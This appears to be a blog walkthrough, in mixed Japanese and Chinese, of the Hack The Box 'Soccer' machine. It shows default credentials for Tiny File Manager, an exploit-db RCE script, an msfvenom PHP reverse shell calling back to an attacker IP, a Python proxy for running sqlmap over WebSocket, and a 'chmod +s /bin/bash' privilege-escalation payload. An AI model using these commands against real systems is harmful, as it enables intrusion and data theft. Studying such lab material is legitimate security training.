【Hack The Box】足球【攻略】

一开始

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Soccer」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

请不要滥用这些技术,而是应该将其用于为社会做出贡献。违反法律是不可取的。

 

探索 – 1

端口扫描

今回はRustScanで高速スキャンしてみた。

┌──(root?kali)-[~]
└─# rustscan -a 10.10.11.194 --top --ulimit 10000 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
?HACK THE PLANET?

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-23 17:26 JST
Initiating Ping Scan at 17:26
Scanning 10.10.11.194 [4 ports]
Completed Ping Scan at 17:26, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:26
Completed Parallel DNS resolution of 1 host. at 17:26, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:26
Scanning 10.10.11.194 [3 ports]
Discovered open port 80/tcp on 10.10.11.194
Discovered open port 22/tcp on 10.10.11.194
Discovered open port 9091/tcp on 10.10.11.194
Completed SYN Stealth Scan at 17:26, 0.30s elapsed (3 total ports)
Nmap scan report for 10.10.11.194
Host is up, received reset ttl 63 (0.27s latency).
Scanned at 2022-12-23 17:26:11 JST for 0s

PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 63
80/tcp   open  http           syn-ack ttl 63
9091/tcp open  xmltec-xmlmail syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (172B)

似乎已公开端口22、80和9091。实际上,当我尝试访问80端口时,得到了”无法访问soccer.htb”的提示,因此需要设置DNS配置。

收藏

域名环境设置

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにしとく。

┌──(root?kali)-[~/work]
└─# vim /etc/resolv.conf 

请提供以下内容。

nameserver 127.0.0.1

接下来,我们要修改/etc/host文件。

┌──(root?kali)-[~/work]
└─# vim /etc/hosts   

请投入以下内容。

10.10.11.194    soccer.htb

疎通確認を行う。

┌──(root?kali)-[~]
└─# ping soccer.htb   

网站搜索

由于Http服务可用,所以我们会从一种元阅读的角度开始对网站进行搜索,因为我猜想网页上可能存在漏洞。

Subdomain探索

请从以下网站下载子域名列表。

 

┌──(root?kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。特段それっぽいのはなさそう。

┌──(root?kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://soccer.htb/ -H "HOST: FUZZ.soccer.htb" -fs 178 -t 60

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/
 :: Wordlist         : FUZZ: ./bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.soccer.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 60
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 219 req/sec :: Duration: [0:09:28] :: Errors: 0 ::

ディレクトリ探索

使用dirsearch进行探索。

┌──(root?kali)-[~]
└─# dirsearch -u http://soccer.htb/                                                                                                                    1 ⨯

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/soccer.htb/-_22-12-23_17-30-18.txt

Error Log: /root/.dirsearch/logs/errors-22-12-23_17-30-18.log

Target: http://soccer.htb/

[17:30:19] Starting: 
[17:30:27] 403 -  564B  - /.ht_wsr.txt                                     
[17:30:27] 403 -  564B  - /.htaccess.bak1
[17:30:27] 403 -  564B  - /.htaccess.orig
[17:30:27] 403 -  564B  - /.htaccess.sample
[17:30:27] 403 -  564B  - /.htaccess.save
[17:30:27] 403 -  564B  - /.htaccess_extra
[17:30:27] 403 -  564B  - /.htaccess_orig
[17:30:27] 403 -  564B  - /.htaccess_sc
[17:30:27] 403 -  564B  - /.htaccessOLD2
[17:30:27] 403 -  564B  - /.htaccessBAK
[17:30:27] 403 -  564B  - /.htaccessOLD
[17:30:27] 403 -  564B  - /.htm                                            
[17:30:27] 403 -  564B  - /.html
[17:30:27] 403 -  564B  - /.htpasswd_test
[17:30:27] 403 -  564B  - /.httr-oauth
[17:30:27] 403 -  564B  - /.htpasswds                                      
[17:30:50] 403 -  564B  - /admin/.htaccess                                  
[17:30:59] 403 -  564B  - /administrator/.htaccess                          
[17:31:02] 403 -  564B  - /app/.htaccess                                    
[17:31:25] 200 -    7KB - /index.html                                       
                                                                             
Task Completed

アクセス拒否されているリソースが大半である。実際にアクセスしてみてどういったWebサイトか探ってみたが特段Submitできそうなところもないので更にディレクトリ探索をFFuFで実施していく。
サブドメインリストを引っ張ってきたサイトからWebコンテンツリストを持ってくる。

┌──(root?kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt

进行模糊测试。

┌──(root?kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://soccer.htb/FUZZ -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 270ms]
# directory-list-2.3-small.txt [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 269ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 280ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]
# on at least 3 different hosts [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 282ms]
                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 281ms]
# Copyright 2007 James Fisher [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 285ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 283ms]
tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 263ms]
                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 272ms]
:: Progress: [87664/87664] :: Job [1/1] :: 365 req/sec :: Duration: [0:04:17] :: Errors: 0 ::

「tiny」のディレクトリ階層が見つかったので更に探っていく。

┌──(root?kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://soccer.htb/tiny/FUZZ -t 50

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/tiny/FUZZ
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

# on at least 3 different hosts [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 282ms]
                        [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 283ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 327ms]
# directory-list-2.3-small.txt [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 331ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 330ms]
# Copyright 2007 James Fisher [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 333ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 334ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 335ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]
#                       [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 336ms]
uploads                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 281ms]
                        [Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 274ms]
:: Progress: [87664/87664] :: Job [1/1] :: 178 req/sec :: Duration: [0:10:06] :: Errors: 51 ::

「/tiny/uploads」の階層が見つかった。ここから更に階層を探ってみたが良さそうな物は見つからなかった。
そこで実際に「tiny」の階層へアクセスしてみると以下のログイン画面が出てきた。

1.png

Tiny File Manager を使っているようだ。

初始访问 – 第1步

我决定调查这个人的身份认证信息。
因为下面有默认的账户密码,所以我尝试了一下,竟然成功了!

默认用户名/密码:admin/admin@123和user/12345。

 

1a.png

 

用Kali将这段Exploit代码引入进去。

┌──(root?kali)-[~]
└─# searchsploit -p 50828
  Exploit: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50828
     Path: /usr/share/exploitdb/exploits/php/webapps/50828.sh
    Codes: CVE-2021-45010, CVE-2021-40964
 Verified: False
File Type: UTF-8 Unicode text
image.png
──(root?kali)-[~/work]
└─# ./50828.sh http://soccer.htb/tiny/ admin admin@123                                                                                                 1 ⨯
/usr/bin/curl
[✔] Curl found! 
/usr/bin/jq
[✔] jq found! 

[+]  Login Success! Cookie: filemanager=lpj4uvl4vc8u36nrghgi2fnc11 

[*] Try to Leak Web root directory path 

[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/ 

[-] File Upload Unsuccessful! Exiting!  

Exploitは通りそうだが、Payloadを打ち込むための書き込み権限がないようである。

Persistence – 1

由于「50828.sh」的Exploit无法使用,我打算直接从Web上输入ReverseShell。我计划利用以下非常方便的网站。

 

┌──(root?kali)-[~/work]
└─# msfvenom -p php/reverse_php LHOST=10.10.14.72 LPORT=4444 -o shell.php                                                                              1 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3018 bytes
Saved as: shell.php

受け側も用意しておく。

┌──(root?kali)-[~/work]
└─# nc -lvnp 4444
listening on [any] 4444 ...
3.png

おおお!!!シェルゲットだぜ!!!
…だが「user.txt」を見ることはできない。homeディレクトリ階層を見た感じ「player」のユーザのシェル権限を取得しないといけないようである。

发现-2

4.png
┌──(root?kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.10.11.194    soc-player.soccer.htb
6a.png

Websocketかぁ…わっかんねぇ…

初始访问-2

このシステムの動作をなんとなくで見てると、ある程度どういった動作をしているかわかったりする…
これはWeb開発者向けの感覚になるのだが、この通信はTicketIDを送信してそのIDを検索し、あればExitsと回答する通信を返していると判断される。
バックエンドでSQLをたたいているソースがあったりしそう。
更にはWebsocketを用いた最近のCTFではSQLiを試すことで突破できることも多くなってきている。

所以,总之,我打算先试试SQLi。
※实际上这个部分只是凭感觉做的,对不起,在我提前说的事,总之,我好像成功了(笑)。

在Websocket上使用sqlmap

我认为在尝试SQLi时,经常使用的工具是sqlmap。然而,这个工具似乎没有考虑到WebSocket通信。
所以,我自己制作了一个将sqlmap的HTTP通信转换为WebSocket的工具。
参考了以下网站进行创建。

 

コードは以下のようになった。

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

# 今回のWebsocketの通信先
ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message #ここはWebsocketで送っている項目「id」に変換する。

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

このsqlmap_on_ws.pyを起動する前にwebsocketのパッケージがない場合は以下のコマンドでインストールしておく。

┌──(root?kali)-[~]
└─# pip install websockets

启动一个代理,用于将从sqlmap发送的请求转换成WebSocket。该代理将在8081端口接收请求。

┌──(root?kali)-[~]
└─# python3 sqlmap_on_ws.py

一旦启动后,使用SQLmap进行SQL注入开始。首先从数据库名称开始提取。

┌──(root?kali)-[~]
└─# sqlmap -u "http://localhost:8081/?id=1" --batch --dbs                                                                                               1 ⨯
/usr/bin/sqlmap:21: DeprecationWarning: The distutils package is deprecated and slated for removal in Python 3.12. Use setuptools or check PEP 632 for potential alternatives
  import distutils

       __H__
 ___ ___[(]_____ ___ ___  {1.5.9#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:34:53 /2022-12-24/

[14:34:53] [INFO] testing connection to the target URL
[14:34:54] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.10.4')
[14:34:54] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:34:55] [INFO] testing if the target URL content is stable
[14:34:56] [INFO] target URL content is stable
[14:34:56] [INFO] testing if GET parameter 'id' is dynamic
[14:34:57] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:34:58] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:34:59] [INFO] testing for SQL injection on GET parameter 'id'
[14:34:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:35:05] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:35:06] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:35:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:35:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:35:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:35:27] [INFO] testing 'Generic inline queries'
[14:35:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:35:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:35:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:35:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:35:59] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[14:35:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:35:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:36:24] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[14:36:50] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[14:36:50] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 99 HTTP(s) requests:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6051 FROM (SELECT(SLEEP(5)))ohkl)
---
[14:37:19] [INFO] the back-end DBMS is MySQL
[14:37:19] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[14:37:24] [INFO] fetching database names
[14:37:24] [INFO] fetching number of databases
[14:37:24] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
5
[14:37:43] [INFO] retrieved: 
[14:37:49] [INFO] adjusting time delay to 2 seconds due to good response times
mysql
[14:39:00] [INFO] retrieved: information_schema
[14:43:18] [INFO] retrieved: performance_schema
[14:47:31] [INFO] retrieved: sys
[14:48:18] [INFO] retrieved: soc
[14:49:15] [ERROR] invalid character detected. retrying..
[14:49:15] [WARNING] increasing time delay to 3 seconds
cer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
8.png
┌──(root?kali)-[~]
└─# sqlmap -u "http://localhost:8081/?id=1" --batch dbs soccer_db --tables
9.png

Persistence – 2

10.png

太好了!成功了!!!
成功取得一般用户权限。

特权升级

收集情报

暂时先从收集升职所需的信息开始。

请提供上述命令的中文本地化版本:sudo -l

我在想能否通过”没有密码”执行特权命令,然后我会用sudo -l进行确认。

player@soccer:/tmp$ sudo -l

一点好消息都没传来。

潘斯派伊

我在想有没有什么好的进程在运行,然后我就运行pspy。
从以下的网站获取pspy的可执行文件。请下载64位版本。

 

购买后,我们将启动一个简易的Web服务器,将执行文件发送到目标设备。

┌──(root?kali)-[~/work]
└─# python3 -m http.server 80

从攻击目标服务器下载该文件,然后我会检查我的IP。
※在这种情况下是tun0。

┌──(root?kali)-[~/work]
└─# ip a                                                                                                                                               1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.72/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101a/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

攻撃対象サーバへ転送します。

player@soccer:/tmp$ wget http://10.10.14.72/pspy64

开始执行吧!

player@soccer:/tmp$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/12/24 11:07:53 CMD: UID=1001 PID=7904   | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2022/12/24 11:07:53 CMD: UID=1001 PID=4005   | -bash 
2022/12/24 11:07:53 CMD: UID=1001 PID=3735   | /lib/systemd/systemd --user 
2022/12/24 11:07:53 CMD: UID=1001 PID=26549  | ./pspy64 

这边也没有特别有益的信息流传出来。

linpeas 林皮斯

那么我就简单地收集各种信息试试看。
所以我将使用Linpeas。我比较喜欢Linemun。
与pspy类似,从以下网站下载linpeas.sh。

 

我会像pspy一样将其转发到攻击目标服务器。
那好,我会执行。

player@soccer:/tmp$ ./linpeas.sh 

すると以下のように「/usr/local/bin」配下に実行できそうなやつらがいた。

...省略

╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path                                                                  
/usr/bin/rescan-scsi-bus.sh                                                                                                                                 
/usr/bin/gettext.sh

╔══════════╣ Executable files potentially added by user (limit 70)
                                                                                                               
2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit
2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
2022-11-15+21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh

╔══════════╣ Unexpected in root
/data                                                                                                                                                       
/vagrant

...省略

随时

doasの実行ファイルが何なのかよくわからないので、近辺にあった「doasedit」を見てみる。
※後で調べてみたら簡単に理解できました(笑)、以下のサイトを参考にしてください。

 

player@soccer:/usr/local/bin$ more doasedit 
#!/bin/sh
# Copy an existing text file to a temporary location. Then
# Edit the file.
# Attempt to then transfer the temporary file back to the original
# location if the temprary file has been altered.
# Conclude with a little clean-up.
# Try to avoid deleting any changes.

if [ $# -lt 1 ]
then
   echo "usage: $0 text-file"
   exit 1
fi

if [ ! -f "$1" ]
then
   echo "File does not exist or is a special file/link."
   exit 2
fi

if [ -L "$1" ]
then
   echo "File is a symbolic link. Refusing to edit."
   exit 2
fi

if [ ! -r "$1" ]
then
   echo "This user is unable to read the specified file."
   exit 3
fi

temp_file=$(mktemp --tmpdir doasedit.XXXXXXXX)
if [ ! $? ]
then
   echo "Could not create temporary file."
   exit 4
fi

cp "$1" "$temp_file"
if [ ! $? ]
then
   echo "Unable to copy file $1"
   exit 5
fi

# If $VISUAL fails, run $EDITOR.
# $EDITOR should be a line editor functional without advanced terminal features.
# $VISUAL is a more advanced editor such as vi.
"${VISUAL:-vi}" "$temp_file"
if [ ! $? ]
then
    "${EDITOR:-ex}" "$temp_file"
    if [ ! $? ]
    then
      echo "Could not run visual editor $VISUAL"
      echo "Could not run editor $EDITOR"
      echo "Please make sure the VISUAL and/or EDITOR variables are set."
      rm -f "$temp_file"
      exit 6
    fi
fi

# Check to see if the file has been changed.
cmp -s "$1" "$temp_file"
status=$?
if [ $status -eq 0 ]
then
   echo "File unchanged. Not writing back to original location."
   rm -f "$temp_file"
   exit 0
fi

# At this point the file has been changed. Make sure it still exists.
if [ -f "$temp_file" ]
then
    doas cp "$temp_file" "$1"
    cmp -s "$temp_file" "$1"
    status=$?
    # If file fails to copy, do not do clean-up
    while [ $status -ne 0 ]
    do
       echo "Copying file back to $1 failed. Press Ctrl-C to abort or Enter to try again."
       read abc
       doas cp "$temp_file" "$1"
       cmp -s "$temp_file" "$1"
       status=$?
    done
fi

# Clean up
rm -f "$temp_file"
exit 0

这里有一个doas cp “$temp_file” “$1″。看起来像是一个可以执行命令的文件。嘛,试着运行一下吧。

player@soccer:/usr/local/bin$ doas
usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]

ほう、[-u user]とあるし、ユーザを指定して実行できるのかな?
manコマンドで確認してみた。

DOAS(1)                                                        BSD General Commands Manual                                                       DOAS(1)

NAME
     doas — execute commands as another user

SYNOPSIS
     doas [-nSs] [-a style] [-C config] [-u user] [--] command [args]

DESCRIPTION
     The doas utility executes the given command as another user.  The command argument is mandatory unless -C, -S, or -s is specified.

     The options are as follows:

     -a style    Use the specified authentication style when validating the user, as allowed by /etc/login.conf.  A list of doas-specific authentication
                 methods may be configured by adding an ‘auth-doas’ entry in login.conf(5).

     -C config   Parse and check the configuration file config, then exit.  If command is supplied, doas will also perform command matching.  In the
                 latter case either ‘permit’, ‘permit nopass’ or ‘deny’ will be printed on standard output, depending on command matching results.  No
                 command is executed.

     -n          Non interactive mode, fail if doas would prompt for password.

     -S          Same as -s but simulates a full login. Please note this may result in doas applying resource limits to the user based on the target
                 user's login class. However, environment variables applicable to the target user are still stripped, unless KEEPENV is specified.

     -s          Execute the shell from SHELL or /etc/passwd.

     -u user     Execute the command as user.  The default is root.  Please note: On some systems multiple usernames can resolve to one UID. For exam‐
                 ple, root and toor both resolve to UID 0 on FreeBSD. Please see the "as" syntax section of the doas.conf manual page for details on how
                 doas handles this situation.

     --          Any dashes after a combined double dash (--) will be interpreted as part of the command to be run or its parameters. Not an argument
                 passed to doas itself.

EXIT STATUS
     The doas utility exits 0 on success, and >0 if an error occurs.  It may fail for one of the following reasons:

     •   The config file /usr/local/etc/doas.conf could not be parsed.
     •   The user attempted to run a command which is not permitted.
     •   The password was incorrect.
     •   The specified command was not found or is not executable.

SEE ALSO
     su(1), doas.conf(5)

HISTORY
     The doas command first appeared in OpenBSD 5.8.

AUTHORS
     Ted Unangst <tedu@openbsd.org>

BSD                                                                   June 11, 2016                                                                  BSD
 Manual page doas(1) line 1/52 (END) (press h for help or q to quit)

哦,看起来可以在root级别下运行。通过这个doas,能够在root级别下执行有效载荷吗?
尝试创建以下Shell脚本并执行一下。

chmod +s /bin/bash
player@soccer:/usr/local/bin$ doas -u root /tmp/shell.sh
doas: Operation not permitted

あかん、うまくいかん。許されなかった…
doasで実行してたコマンドがcpとかだったので「/bin」系の配下にないと出来なさそうな感覚がある。
「/bin」系でWrite権限ある階層を探してみる。
以下のlinpeasの出力結果を確認する。

...省略

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                           
/dev/mqueue                                                                                                                                                 
/dev/shm
/home/player
/run/lock
/run/screen
/run/user/1001
/run/user/1001/dbus-1
/run/user/1001/dbus-1/services
/run/user/1001/gnupg
/run/user/1001/inaccessible
/run/user/1001/systemd
/run/user/1001/systemd/transient
/run/user/1001/systemd/units
/snap/core20/1695/run/lock
/snap/core20/1695/tmp
